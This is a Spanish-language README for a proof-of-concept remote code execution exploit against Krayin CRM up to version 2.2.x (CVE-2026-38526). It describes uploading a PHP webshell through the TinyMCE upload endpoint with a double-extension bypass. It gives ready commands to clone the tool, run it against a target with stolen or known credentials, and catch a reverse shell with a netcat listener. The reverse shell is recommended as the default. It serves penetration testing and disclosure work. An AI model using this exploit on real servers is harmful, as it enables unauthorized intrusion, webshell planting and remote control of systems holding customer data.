CVE-2026-38526 - Exploit de RCE en Krayin CRM

Krayin CRM (≤ 2.2.x) - Carga de archivos sin restricciones que conduce a la ejecución remota de código.

Este PoC aprovecha el endpoint vulnerable de carga de TinyMCE (/admin/tinymce/upload) para subir un webshell PHP y lograr la ejecución de comandos en el servidor.

Características

• Inicio de sesión totalmente automático con manejo de token CSRF
• Omite las restricciones de carga mediante doble extensión
• Admite shell inversa y ejecución de un único comando
• Renovación fiable del token CSRF de Laravel
• Limpio y fácil de usar

Descarga

git clone https://github.com/pawpic/CVE-2026-38526-POC

Requisitos

pip3 install requests beautifulsoup4

Uso

1. Shell inversa (por defecto y recomendada)

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  --lhost YOUR_IP \
  --lport 4444

2. Comando único

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  -c "whoami"

Opciones

Ejemplo de flujo de trabajo

Inicia el listener:

nc -lvnp 4444

Ejecuta el exploit:

python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR

Aviso legal

Este exploit está destinado únicamente a fines educativos y pruebas de penetración autorizadas. El uso no autorizado contra sistemas para los que no tengas permiso explícito de prueba es ilegal.

Versiones afectadas

Krayin CRM ≤ 2.2.x CVE: CVE-2026-38526

Autor: pawpic Fecha: 2026